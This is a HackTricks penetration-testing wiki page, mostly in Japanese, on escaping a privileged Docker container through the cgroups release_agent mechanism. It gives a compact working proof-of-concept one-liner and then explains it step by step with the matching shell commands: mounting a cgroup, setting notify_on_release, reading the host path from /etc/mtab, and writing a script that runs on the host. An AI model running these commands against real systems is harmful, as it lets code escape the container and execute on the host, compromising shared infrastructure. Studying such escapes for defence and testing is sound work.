Docker release_agent cgroups escape

Support HackTricks

詳細については、 元のブログ投稿を参照してください。 これは要約です:

Original PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a release_agent file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:

  1. 環境の準備:

  • /tmp/cgrpというディレクトリが作成され、cgroupのマウントポイントとして使用されます。

  • RDMA cgroupコントローラーがこのディレクトリにマウントされます。RDMAコントローラーが存在しない場合は、代わりにmemory cgroupコントローラーを使用することが推奨されます。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 子Cgroupの設定:

  • マウントされたCgroupディレクトリ内に「x」という名前の子Cgroupが作成されます。

  • 「x」Cgroupのnotify_on_releaseファイルに1を書き込むことで通知が有効になります。

echo 1 > /tmp/cgrp/x/notify_on_release
  1. リリースエージェントの設定:

  • ホスト上のコンテナのパスは、/etc/mtabファイルから取得されます。

  • 次に、cgroupのrelease_agentファイルが、取得したホストパスにある/cmdという名前のスクリプトを実行するように設定されます。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. /cmd スクリプトの作成と設定:

  • /cmd スクリプトはコンテナ内に作成され、ps aux を実行するように設定され、出力はコンテナ内の /output という名前のファイルにリダイレクトされます。ホスト上の /output の完全なパスが指定されます。

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. 攻撃をトリガーする:

  • "x" 子 cgroup 内でプロセスが開始され、すぐに終了します。

  • これにより release_agent(/cmd スクリプト)がトリガーされ、ホスト上で ps aux を実行し、その出力をコンテナ内の /output に書き込みます。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
HackTricksをサポートする

Last updated